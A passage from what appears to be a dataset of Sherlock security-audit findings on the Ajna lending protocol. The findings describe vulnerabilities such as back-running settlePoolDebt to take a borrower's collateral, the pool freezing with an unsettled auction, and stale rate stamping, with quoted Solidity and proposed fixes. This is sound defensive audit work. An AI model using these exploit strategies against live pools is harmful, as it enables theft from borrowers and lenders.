BondFactor * min(1, max(-1, (neutralPrice - price) / (neutralPrice - thresholdPrice)))\n sign = Maths.minInt(\n 1e18,\n Maths.maxInt(\n -1 * 1e18,\n PRBMathSD59x18.div(\n>> int256(neutralPrice_) - int256(auctionPrice_),\n int256(neutralPrice_) - thresholdPrice\n )\n )\n );\n } else {\n ...\n }\n\n return PRBMathSD59x18.mul(int256(bondFactor_), sign);\n }\n```\n\n`lenderKick()` allows collateral depositor to use other depositor's quote funds as `entitledAmount` for `_kick()`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Buckets.sol#L214-L235\n\n```solidity\n function lpToQuoteTokens(\n ...\n ) internal pure returns (uint256) {\n ...\n\n // case when there's deposit or collateral and bucket has LP balance\n return Math.mulDiv(\n>> deposit_ * Maths.WAD + bucketCollateral_ * bucketPrice_,\n lp_,\n bucketLP_ * Maths.WAD,\n rounding_\n );\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L135-L185\n\n```solidity\n function lenderKick(\n ...\n ) external returns (\n KickResult memory kickResult_\n ) {\n ...\n vars.bucketDeposit = Deposits.valueAt(deposits_, index_);\n\n // calculate amount lender is entitled in current bucket (based on lender LP in bucket)\n>> vars.entitledAmount = Buckets.lpToQuoteTokens(\n bucket.collateral,\n bucket.lps,\n vars.bucketDeposit,\n vars.lenderLP,\n vars.bucketPrice,\n Math.Rounding.Down\n );\n\n // cap the amount entitled at bucket deposit\n if (vars.entitledAmount > vars.bucketDeposit) vars.entitledAmount = vars.bucketDeposit;\n\n ...\n\n // kick top borrower\n kickResult_ = _kick(\n ...\n Loans.getMax(loans_).borrower,\n limitIndex_,\n>> vars.entitledAmount\n );\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L273-L296\n\n```solidity\n function _kick(\n ...\n>> uint256 additionalDebt_\n ) internal returns (\n KickResult memory kickResult_\n ) {\n ...\n>> kickResult_.lup = Deposits.getLup(deposits_, poolState_.debt + additionalDebt_);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere is a trader-off between allowing for liquidation of some healthy borrowers and introducing the bigger buffer so that only ones close to the market can be liquidated.\n\nWith LP driven nature of `lenderKick()` being the part of design, the root cause of the surface is a somewhat too substantial impact pool rate has on `NP`.\n\nNot all the pools will be liquid and with overall volatility being tied to the pool rate in general. There will be many examples of divergencies over time, even involving substantial enough funds. The ability to act on otherwise healthy borrowers in this situation needs to be controlled for by limiting the dependency of `NP` on the current market state.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//015-H/068-best.md"}} +{"title":"Settlement can reach the state when writing off the debt exhausts all deposits and current reserves, freezing the pool with a not cleared auction","severity":"medium","body":"Restless White Bee\n\nhigh\n\n# Settlement can reach the state when writing off the debt exhausts all deposits and current reserves, freezing the pool with a not cleared auction\n## Summary\n\nA situation of total debt exceeding combined total deposits and reserves can be reached, in which case debt settlement will not be able to clear bad debt fully, and pool will be stuck in the `auction not settled` state until an arbitrary large donation of a missing part be made directly to pool's balance, replenishing the reserves.\n\n## Vulnerability Detail\n\nThere might be two ways for making total debt exceeding the sum of total deposits and reserves:\n\nA. Pool having near zero interest rate and `_borrowerFeeRate` making debt exceeding total deposits due to BorrowerActions#161 logic, where debt is added in advance (instead of borrower receiving the partial sum, the immediate fee debt is added, while no regular interest accrued yet). As floor division is used for assets and reserve write down in SettlerActions#145, it might be just some dust being left not addressed.\n\nB. Any depositor can deliberately or by accident move some of the deposit to reserves by moving quote tokens under LUP: deposit fee is transferred to reserves this way.\n\nIn both cases it is just a transfer from deposits to reserves, but those can be auctioned and removed from the pool, creating a deficit.\n\nSchematic PoC:\n\n1. Two depositors, 50 units of quote token each, one borrower, some illiquid NFT as a collateral.\n100 units of initial deposit, all lent out, some interest was accrued and let's say it's 110 debt now.\nOne depositor performed several deposit moves to under the LUP and is penalized cumulatively by 5, so their deposit remained at 50, while the other is 55.\nReserve auction happens and removes 4.5 from reserves.\nSo it is 105 in deposits, 110 in debt, debt HTP below LUP, 0.5 in reserves\n\n2. Market drops and is messy for a while, particularly no buyers for that NFT for few days at any price\n\n3. As market drops one lender wants out and performs lenderKick() on the borrower\n\n4. No bidders for the whole length of auction along with (2) (for simplicity, the end result wouldn't change if this be replaced with 'some bids around LUP' as that's essentially what settlement does. The key here is that no material outside capital was brought in, which is reasonable assumption given (2))\n\n5. One of the lenders calls settle() for the borrower\n\n6. _settlePoolDebtWithDeposit() step 1 settles 105 debt with the same amount of deposits at their bucket price, borrower will still have collateral as HTP was below LUP\n\n7. Since there are no deposits left it puts all the collateral into lowest 7388 bucket\n\n8. The remaining 0.5 of the debt is written off reserves, which the remaining 4.5 not being able to be cleared. This sum needs to be donated directly to the pool in order for it to be unstuck\n\n## Impact\n\nAll operations requiring `_revertIfAuctionClearable()` will be blocked. One way to unblock them looks to be a donation of the missing part directly to pool's balance. This donation can be material and the freeze can take place for a while.\n\nDue to both fees mechanics working in the same direction with regard to pool's deposit to debt balance, estimating overall probability of reaching the described state to be medium, while pool blocking impact looks to be high, so setting overall severity to be high.\n\n## Code Snippet\n\nBorrowerActions' `drawDebt()` creates new debt in advance:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L160-L161\n\n```solidity\n // t0 debt change is t0 amount to borrow plus the origination fee\n vars.t0DebtChange = Maths.wmul(vars.t0BorrowAmount, _borrowFeeRate(poolState_.rate) + Maths.WAD);\n```\n\n(A), assets and a part to be written down in `2. settle debt with pool reserves` calculation are rounded down with `floorWmul` and `floorWdiv`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L133-L146\n\n```solidity\n if (borrower.t0Debt != 0 && borrower.collateral == 0) {\n // 2. settle debt with pool reserves\n uint256 assets = Maths.floorWmul(poolState_.t0Debt - result_.t0DebtSettled + borrower.t0Debt, poolState_.inflator) + params_.poolBalance;\n\n uint256 liabilities =\n // require 1.0 + 1e-9 deposit buffer (extra margin) for deposits\n Maths.wmul(DEPOSIT_BUFFER, Deposits.treeSum(deposits_)) +\n auctions_.totalBondEscrowed +\n reserveAuction_.unclaimed;\n\n // settle debt from reserves (assets - liabilities) if reserves positive, round reserves down however\n if (assets > liabilities) {\n borrower.t0Debt -= Maths.min(borrower.t0Debt, Maths.floorWdiv(assets - liabilities, poolState_.inflator));\n }\n```\n\n(7), when there are no deposits left settlement puts all the collateral into lowest 7388 bucket, not clearing the remaining debt:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L410-L421\n\n```solidity\n } else {\n // Deposits in the tree is zero, insert entire collateral into lowest bucket 7388\n Buckets.addCollateral(\n buckets_[vars.index],\n params_.borrower,\n 0, // zero deposit in bucket\n remainingCollateral_,\n vars.price\n );\n // entire collateral added into bucket, no borrower pledged collateral remaining\n remainingCollateral_ = 0;\n }\n```\n\n(8), if pool's balance is zero (100 units of quote token added by depositors, the same removed by the borrower, and the kicker bond was added), then, ignoring reserves part as being small after the successful auction, `assets = 5 + totalBondEscrowed`, `liabilities = totalBondEscrowed`, so around `5` is what will be left for the `borrower.t0Debt` after step 2 of the settlement:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L133-L146\n\n```solidity\n if (borrower.t0Debt != 0 && borrower.collateral == 0) {\n // 2. settle debt with pool reserves\n uint256 assets = Maths.floorWmul(poolState_.t0Debt - result_.t0DebtSettled + borrower.t0Debt, poolState_.inflator) + params_.poolBalance;\n\n uint256 liabilities =\n // require 1.0 + 1e-9 deposit buffer (extra margin) for deposits\n Maths.wmul(DEPOSIT_BUFFER, Deposits.treeSum(deposits_)) +\n auctions_.totalBondEscrowed +\n reserveAuction_.unclaimed;\n\n // settle debt from reserves (assets - liabilities) if reserves positive, round reserves down however\n if (assets > liabilities) {\n borrower.t0Debt -= Maths.min(borrower.t0Debt, Maths.floorWdiv(assets - liabilities, poolState_.inflator));\n }\n```\n\nThen step 3 of the settlement, `_forgiveBadDebt`, will not change anything as there are no deposits left:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L148-L157\n\n```solidity\n // 3. forgive bad debt from next HPB\n if (borrower.t0Debt != 0) {\n borrower.t0Debt = _forgiveBadDebt(\n buckets_,\n deposits_,\n params_,\n borrower,\n poolState_.inflator\n );\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L442-L456\n\n```solidity\n function _forgiveBadDebt(\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n SettleParams memory params_,\n Borrower memory borrower_,\n uint256 inflator_\n ) internal returns (uint256 remainingt0Debt_) {\n remainingt0Debt_ = borrower_.t0Debt;\n\n // loop through remaining buckets if there's still debt to forgive\n while (params_.bucketDepth != 0 && remainingt0Debt_ != 0) {\n\n (uint256 index, , uint256 scale) = Deposits.findIndexAndSumOfSum(deposits_, 1);\n>> uint256 unscaledDeposit = Deposits.unscaledValueAt(deposits_, index);\n>> uint256 depositToRemove = Maths.wmul(scale, unscaledDeposit);\n```\n\nSo the resulting debt will remain positive and `_settleAuction() -> _removeAuction()` will not be called:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L168-L178\n\n```solidity\n // if entire debt was settled then settle auction\n if (borrower.t0Debt == 0) {\n (borrower.collateral, ) = _settleAuction(\n auctions_,\n buckets_,\n deposits_,\n params_.borrower,\n borrower.collateral,\n poolState_.poolType\n );\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding an additional writing off mechanics for this case, so the pool can be made unstuck without the need of any material investment, so it can be done quickly and by any independent actor.\n\nThe investment itself doesn't look to be needed as no parties with accounted interest are left in the pool at that point: everything was cleared and the remaning part is of technical nature, it can be decsribed as a result of too much reserves being sold out via regular reserve auction. That's the another version for a solution, a `debt - deposits` can be guarded in the reserves as a stability part needed for clearance.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//014-M/063-best.md"}} +{"title":"repayDebt collateral check logic in ERC-721 case is more loose than _isCollateralized based one used across the protocol","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# repayDebt collateral check logic in ERC-721 case is more loose than _isCollateralized based one used across the protocol\n## Summary\n\nIf NFT collateral becomes fractional for any reason ERC721Pool borrowers might disable taking by creating positions having collateral less than `1` NFT.\n\n## Vulnerability Detail\n\nIf NFT collateral becomes fractional then it can be possible, given the necessary collateral price and debt levels, to remove ERC-721 collateral so that remainder is less than `1`, say `1` can be removed from `1.9` to create a `0.9` collateral in a position. Such loan will not be liquidable as this amount of collateral cannot be removed from the position.\n\nI.e. in general it is now possible to create a loan with `_isCollateralized(debt, collateral, lup, pool.poolType()) == false` with pulling collateral via `repayDebt()`.\n\n## Impact\n\nWhile such positions are healthy as of `repayDebt()`, the fact that they cannot be liquidated means that given enough number of such positions worsening market conditions can drive the pool towards unusable state as his health cannot be sustained.\n\nSince at the moment there looks to be no way to orchestrate the fractional collateral position outside the auction, while `repayDebt()` will not work while a loan is in auction, the possibility of some not yet discovered way to facilitate fractional collateral (which is otherwise valid from the viewpoint of the system) cannot be fully ruled out, so deeming this issue to have high impact and low probability, placing the overall severity to be medium.\n\n## Code Snippet\n\nERC721Pool's `repayDebt()` only ensures that requested amount of collateral is a full wad:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L215-L237\n\n```solidity\n function repayDebt(\n ...\n ) external nonReentrant returns (uint256 amountRepaid_) {\n PoolState memory poolState = _accruePoolInterest();\n\n // ensure accounting is performed using the appropriate token scale\n if (maxQuoteTokenAmountToRepay_ != type(uint256).max)\n maxQuoteTokenAmountToRepay_ = _roundToScale(maxQuoteTokenAmountToRepay_, poolState.quoteTokenScale);\n\n RepayDebtResult memory result = BorrowerActions.repayDebt(\n auctions,\n deposits,\n loans,\n poolState,\n borrowerAddress_,\n maxQuoteTokenAmountToRepay_,\n>> Maths.wad(noOfNFTsToPull_),\n limitIndex_\n );\n```\n\nBut doesn't check that remaining collateral can be extracted:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L287-L320\n\n```solidity\n if (vars.pull) {\n // only intended recipient can pull collateral\n if (borrowerAddress_ != msg.sender) revert BorrowerNotSender();\n\n // calculate LUP only if it wasn't calculated in repay action\n if (!vars.repay) result_.newLup = Deposits.getLup(deposits_, result_.poolDebt);\n\n>> uint256 encumberedCollateral = Maths.wdiv(vars.borrowerDebt, result_.newLup);\n if (\n borrower.t0Debt != 0 && encumberedCollateral == 0 || // case when small amount of debt at a high LUP results in encumbered collateral calculated as 0\n borrower.collateral < encumberedCollateral ||\n>> borrower.collateral - encumberedCollateral < collateralAmountToPull_\n ) revert InsufficientCollateral();\n\n // stamp borrower Np to Tp ratio when pull collateral action\n vars.stampNpTpRatio = true;\n\n borrower.collateral -= collateralAmountToPull_;\n\n result_.poolCollateral -= collateralAmountToPull_;\n }\n\n // check limit price and revert if price dropped below\n _revertIfPriceDroppedBelowLimit(result_.newLup, limitIndex_);\n\n // update loan state\n Loans.update(\n ...\n );\n```\n\nWhile `_isCollateralized()` uses floor amount (i.e. the extractable part only) of collateral NFTs to check for a given loan collaterization:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L158-L170\n\n```solidity\n function _isCollateralized(\n ...\n ) pure returns (bool) {\n if (type_ == uint8(PoolType.ERC20)) return Maths.wmul(collateral_, price_) >= debt_;\n else {\n //slither-disable-next-line divide-before-multiply\n>> collateral_ = (collateral_ / Maths.WAD) * Maths.WAD; // use collateral floor\n>> return Maths.wmul(collateral_, price_) >= debt_;\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider unifying the logic and using `_isCollateralized()` version of check in pulling logic of `repayDebt()`.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//013-M/061-best.md"}} +{"title":"BucketTake rewards can go to an insolvent bucket","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# BucketTake rewards can go to an insolvent bucket\n## Summary\n\n`_rewardBucketTake()` adds bucket take rewards in a form of bucket LP, but doesn't check for bucket bankruptcy.\n\n## Vulnerability Detail\n\nAs all the subsequent operations deal only with LPs added later than bankruptcy time it doesn't make sense to add rewards to a bucket at the moment of its bankruptcy, they will be lost for beneficiaries.\n\n## Impact\n\nIf `bankruptcyTime == block.timestamp` during `bucketTake()` then all the rewards will be lost for beneficiaries, i.e. both taker and kicker will not be able to withdraw anything.\n\n## Code Snippet\n\n`_rewardBucketTake()` doesn't check the bucket for being bankrupt at the current block (and `bankruptcyTime` isn't read and checked before that):\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L607-L651\n\n```solidity\n function _rewardBucketTake(\n ...\n ) internal {\n Bucket storage bucket = buckets_[bucketIndex_];\n\n>> uint256 bankruptcyTime = bucket.bankruptcyTime;\n uint256 scaledDeposit = Maths.wmul(vars.unscaledDeposit, vars.bucketScale);\n uint256 totalLPReward;\n uint256 takerLPReward;\n uint256 kickerLPReward;\n\n // if arb take - taker is awarded collateral * (bucket price - auction price) worth (in quote token terms) units of LPB in the bucket\n if (!depositTake_) {\n takerLPReward = Buckets.quoteTokensToLP(\n bucket.collateral,\n bucket.lps,\n scaledDeposit,\n Maths.wmul(vars.collateralAmount, vars.bucketPrice - vars.auctionPrice),\n vars.bucketPrice,\n Math.Rounding.Down\n );\n totalLPReward = takerLPReward;\n\n>> Buckets.addLenderLP(bucket, bankruptcyTime, msg.sender, takerLPReward);\n }\n\n // the bondholder/kicker is awarded bond change worth of LPB in the bucket\n if (vars.isRewarded) {\n kickerLPReward = Buckets.quoteTokensToLP(\n bucket.collateral,\n bucket.lps,\n scaledDeposit,\n vars.bondChange,\n vars.bucketPrice,\n Math.Rounding.Down\n );\n totalLPReward += kickerLPReward;\n\n>> Buckets.addLenderLP(bucket, bankruptcyTime, vars.kicker, kickerLPReward);\n```\n\nSo, if `bankruptcyTime == block.timestamp` at the time of `bucketTake()` then `lender.depositTime` will be set to `bucket.bankruptcyTime`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Buckets.sol#L77-L91\n\n```solidity\n function addLenderLP(\n ...\n ) internal {\n if (lpAmount_ != 0) {\n Lender storage lender = bucket_.lenders[lender_];\n\n if (bankruptcyTime_ >= lender.depositTime) lender.lps = lpAmount_;\n else lender.lps += lpAmount_;\n\n>> lender.depositTime = block.timestamp;\n }\n }\n```\n\nAnd both taker and kicker will not be able to withdraw any funds thereafter as their LP balance will be deemed empty:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L516-L520\n\n```solidity\n Lender storage lender = bucket.lenders[msg.sender];\n\n uint256 lenderLpBalance;\n>> if (bucket.bankruptcyTime < lender.depositTime) lenderLpBalance = lender.lps;\n if (lenderLpBalance == 0 || lpAmount_ > lenderLpBalance) revert InsufficientLP();\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L411-L415\n\n```solidity\n uint256 depositTime = lender.depositTime;\n\n RemoveDepositParams memory removeParams;\n\n>> if (bucket.bankruptcyTime < depositTime) removeParams.lpConstraint = lender.lps;\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L271-L275\n\n```solidity\n vars.fromBucketDepositTime = fromBucketLender.depositTime;\n\n vars.toBucketPrice = _priceAt(params_.toIndex);\n\n>> if (fromBucket.bankruptcyTime < vars.fromBucketDepositTime) vars.fromBucketLenderLP = fromBucketLender.lps;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFor uniformity consider adding the similar check to `_rewardBucketTake()`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L607-L618\n\n```diff\n function _rewardBucketTake(\n ...\n ) internal {\n Bucket storage bucket = buckets_[bucketIndex_];\n\n uint256 bankruptcyTime = bucket.bankruptcyTime;\n+ \n+ // cannot deposit bucket take rewards in the same block when bucket becomes insolvent\n+ if (bankruptcyTime_ == block.timestamp) revert BucketBankruptcyBlock();\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//012-M/059-best.md"}} +{"title":"settlePoolDebt places the collateral to the lowest bucket, allowing for stealing it with back-running","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# settlePoolDebt places the collateral to the lowest bucket, allowing for stealing it with back-running\n## Summary\n\nSettlerActions's `_settleAuction()` and `_settlePoolDebtWithDeposit()` run from `settlePoolDebt()` always put remainder and compensated collateral of a borrower in the lowest bucket, where is can be straightforwardly stolen by back-running the function.\n\n## Vulnerability Detail\n\nFor the borrower these funds are accessible no matter what bucket they are placed to. In the same time, when the bucket is below the market, these funds are free for anyone to obtain, pocketing the difference. SettlerActions's logic places them into the lowest bucket, despite being able to use quote deposit distribution information to gauge the price. Also, it might be a successful auction at the start and what is settled is only the remainder, so the executed auction price can be used. The issue is that setting the price too small allows for straightforward stealing, while using price too big only creates harmless above market `ask` from the borrower.\n\nThe fact that there are no deposits left (for `_settlePoolDebtWithDeposit()`) or that some part of the debt wasn't bought on auction (for `_settleAuction()` run from `settlePoolDebt()`) doesn't form enough grounds for estimating the fair price being equal to the lowest bucket's one. Lack of deposits can be of a technical nature (for example, drawing debt creates immediate debt overhang formed by a borrowing fee), while leaving minimal debt not bought at any price can be due to, as an example: pool doesn't have many participants overall, say some not too liquid NFT with small volumes, there was an initial taker, who left close to minimal debt due to oversight/own liquidity reasons (or knowing that there can be a situation of lack of interest and trying to exploit it), minimal debt is small in this pool, gas prices rocketed for some reasons, so taking the remaining part was not profitable, so the auction had no bids for the remainder and has to be cleared later with `settlePoolDebt()` in a calmer market.\n\n## Impact\n\nBorrower will lose all the placed collateral as anyone can run its extraction right after the settlement.\n\n## Code Snippet\n\nBucket for collateral remainder is determined as if auction is taking place now:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L206-L244\n\n```solidity\n function _settleAuction(\n ...\n ) internal returns (uint256 remainingCollateral_, uint256 compensatedCollateral_) {\n\n if (poolType_ == uint8(PoolType.ERC721)) {\n uint256 lp;\n uint256 bucketIndex;\n\n // floor collateral of borrower\n remainingCollateral_ = (borrowerCollateral_ / Maths.WAD) * Maths.WAD;\n\n // if there's fraction of NFTs remaining then reward difference to borrower as LP in auction price bucket\n if (remainingCollateral_ != borrowerCollateral_) {\n\n // calculate the amount of collateral that should be compensated with LP\n compensatedCollateral_ = borrowerCollateral_ - remainingCollateral_;\n\n>> uint256 auctionPrice = _auctionPrice(\n auctions_.liquidations[borrowerAddress_].referencePrice,\n auctions_.liquidations[borrowerAddress_].kickTime\n );\n\n // determine the bucket index to compensate fractional collateral\n>> bucketIndex = auctionPrice > MIN_PRICE ? _indexOf(auctionPrice) : MAX_FENWICK_INDEX;\n\n // deposit collateral in bucket and reward LP to compensate fractional collateral\n lp = Buckets.addCollateral(\n buckets_[bucketIndex],\n borrowerAddress_,\n Deposits.valueAt(deposits_, bucketIndex),\n compensatedCollateral_,\n _priceAt(bucketIndex)\n );\n }\n```\n\nWhen `SettlerActions._settleAuction()` is called from `TakerActions._takeLoan()` it is reasonable, but when it's called from `SettlerActions.settlePoolDebt()` and collateral isn't zero it is always `block.timestamp - kickTime > 72 hours`, i.e. auction price above will be close to zero as auction was ended:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L100-L113\n\n```solidity\n function settlePoolDebt(\n AuctionsState storage auctions_,\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n LoansState storage loans_,\n ReserveAuctionState storage reserveAuction_,\n PoolState calldata poolState_,\n SettleParams memory params_\n ) external returns (SettleResult memory result_) {\n uint256 kickTime = auctions_.liquidations[params_.borrower].kickTime;\n if (kickTime == 0) revert NoAuction();\n\n Borrower memory borrower = loans_.borrowers[params_.borrower];\n>> if ((block.timestamp - kickTime <= 72 hours) && (borrower.collateral != 0)) revert AuctionNotClearable();\n```\n\nSimilarly, it is the lowest bucket whenever all deposits happen to be used:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L347-L352\n\n```solidity\n (vars.index, , vars.scale) = Deposits.findIndexAndSumOfSum(deposits_, 1);\n vars.hpbUnscaledDeposit = Deposits.unscaledValueAt(deposits_, vars.index);\n vars.unscaledDeposit = vars.hpbUnscaledDeposit;\n vars.price = _priceAt(vars.index);\n\n>> if (vars.unscaledDeposit != 0) {\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L410-L421\n\n```solidity\n>> } else {\n // Deposits in the tree is zero, insert entire collateral into lowest bucket 7388\n Buckets.addCollateral(\n>> buckets_[vars.index],\n params_.borrower,\n 0, // zero deposit in bucket\n remainingCollateral_,\n>> vars.price\n );\n // entire collateral added into bucket, no borrower pledged collateral remaining\n remainingCollateral_ = 0;\n }\n```\n\nIn both cases this lowest bucket might not correctly correspond to the market price of collateral and the funds placed this way can be stolen from the borrower by back-running such transaction with adding quote and remove collateral funds from this near zero bucket.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAs in both cases there were a settlement process across the deposit buckets taking place before, its information, say the average bid price, can be used for the placement, along with the latest take price, when available.\n\nE.g. consider determining the best estimation of bid price this way, when available, and putting the funds in SettlerActions.sol#L206-L244 and SettlerActions.sol#L410-L421 there. Borrower will be able to remove them from any bucket, while the ability to steal from them will be reduced this way. I.e. if such bucket be above market it will just act as above-market offer, which is harmless.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//011-M/052-best.md"}} +{"title":"Stale interest rate can be used in determining kicker's bond size, reward, and borrower's penalty","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# Stale interest rate can be used in determining kicker's bond size, reward, and borrower's penalty\n## Summary\n\nKicking operation uses stale interest rate based `npTpRatio` for determining `bondFactor`, and correspondingly taking operation uses stale `bondFactor` based `bpf` for determining kicker's reward. Moreover, the snapshot time for pool rate value, that will be used for `npTpRatio`, can be orchestrated by a borrower, reducing the probability of liquidation at the expense of other borrowers.\n\n## Vulnerability Detail\n\nPool rate aimed to be the measure of market volatility, but `npTpRatio` isn't updated on kicking, so `bondFactor` that is being set at that point doesn't depend on the current rate, but on the rate as of last loan update, which can happen arbitrarily long ago in the past.\n\nAlso, all these operations are directly controlled by the borrower as all the corresponding operations besides after-auction one are borrower initiated: `Loans.update(..., stampNpTpRatio = true)` is called only on borrowing, collateral pulling, or when a borrower directly calls `stampLoan()`, and, lastly, on auction exit, when there is no debt left (`borrower_.t0Debt == 0`).\n\nThis way as of moment of kicking the `poolRate_` value the `npTpRatio` was determined with can be arbitrary outdated in general and particularly can be manipulated by borrowed by doing the update via one of these operations when the pool rate is at its lowest with regard to long term volatility of the collateral.\n\n## Impact\n\nBorrower can deliberately avoid updating the `npTpRatio`, i.e. they will not be drawing new debt, pulling collateral or stamping the loan, which are the only operations that update `npTpRatio`. Any user can optimize their operations using many accounts and avoid changing the ones stamped with low enough rates.\n\nThe impact is `bondFactor` not fully reflecting the volatility as it's designed to be, and this effect can be orchestrated by the borrower, so it ends up to be more savvy borrowers taking advantage of the less savvy ones, having them as a kind of additional layer of protection, since liquidating the ones who tuned `npTpRatio` is the least profitable, such operations will be performed last, other things being equal.\n\nWhile the impact is material, being gaming the protocol design in a sense that `npTpRatio` does not represent actual collateral volatility and lower the expectation of kicker reward and the probability of liquidation, it both requires savvy borrowers executing such long term strategy and the existence of non-savvy ones with otherwise similar characteristics, so setting the overall severity to be medium.\n\n## Code Snippet\n\n`npTpRatio` is set via `Loans.update` based on the current `poolRate_`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L102-L105\n\n```solidity\n // update Np to Tp ratio of borrower\n if (npTpRatioUpdate_) {\n borrower_.npTpRatio = 1.04 * 1e18 + uint256(PRBMathSD59x18.sqrt(int256(poolRate_))) / 2;\n }\n```\n\n`bondFactor` and `bondSize` are set on kicking, that can happen in substantially different market state, so those can be determined by an outdated `npTpRatio`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L418-L429\n\n```solidity\n function _bondParams(\n uint256 borrowerDebt_,\n uint256 npTpRatio_\n ) pure returns (uint256 bondFactor_, uint256 bondSize_) {\n // bondFactor = min((NP-to-TP-ratio - 1)/10, 0.03)\n bondFactor_ = Maths.min(\n 0.03 * 1e18,\n (npTpRatio_ - 1e18) / 10\n );\n\n bondSize_ = Maths.wmul(bondFactor_, borrowerDebt_);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L337-L338\n\n```solidity\n // update escrowed bonds balances and get the difference needed to cover bond (after using any kick claimable funds if any)\n kickResult_.amountToCoverBond = _updateEscrowedBonds(auctions_, vars.bondSize);\n```\n\nAlso, outdated `npTpRatio_` based `amountToCoverBond` can be too small or too big this way.\n\nSince borrower penalty is also `bondFactor_` based it can be outdated too:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L735-L741\n\n```solidity\n uint256 takePenaltyFactor = uint256(5 * int256(vars.bondFactor) - vars.bpf + 3) / 4; // Round up\n uint256 borrowerPrice = Maths.floorWmul(vars.auctionPrice, Maths.WAD - takePenaltyFactor);\n\n // To determine the value of quote token removed from a bucket in a bucket take call, we need to account for whether the bond is\n // rewarded or not. If the bond is rewarded, we need to remove the bond reward amount from the amount removed, else it's simply the \n // collateral times auction price.\n uint256 netRewardedPrice = (vars.isRewarded) ? Maths.wmul(Maths.WAD - uint256(vars.bpf), vars.auctionPrice) : vars.auctionPrice;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe reason for current setup is that the driver for updating operation was correct placement a loan in the heap. However, with new `npTpRatio_` formula it now has an additional meaning of tuning the loan state to the current market, so it needs to be called whenever such tuning is needed.\n\nAs a most straightforward, possibly non-optimal solution, that can be upgraded later with an introduction of a smaller updating, consider running `Loans.update` with `stampNpTpRatio = true` on kicking, before liquidation parameters being set:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L321-L324\n\n```solidity\n (vars.bondFactor, vars.bondSize) = _bondParams(\n vars.borrowerDebt,\n 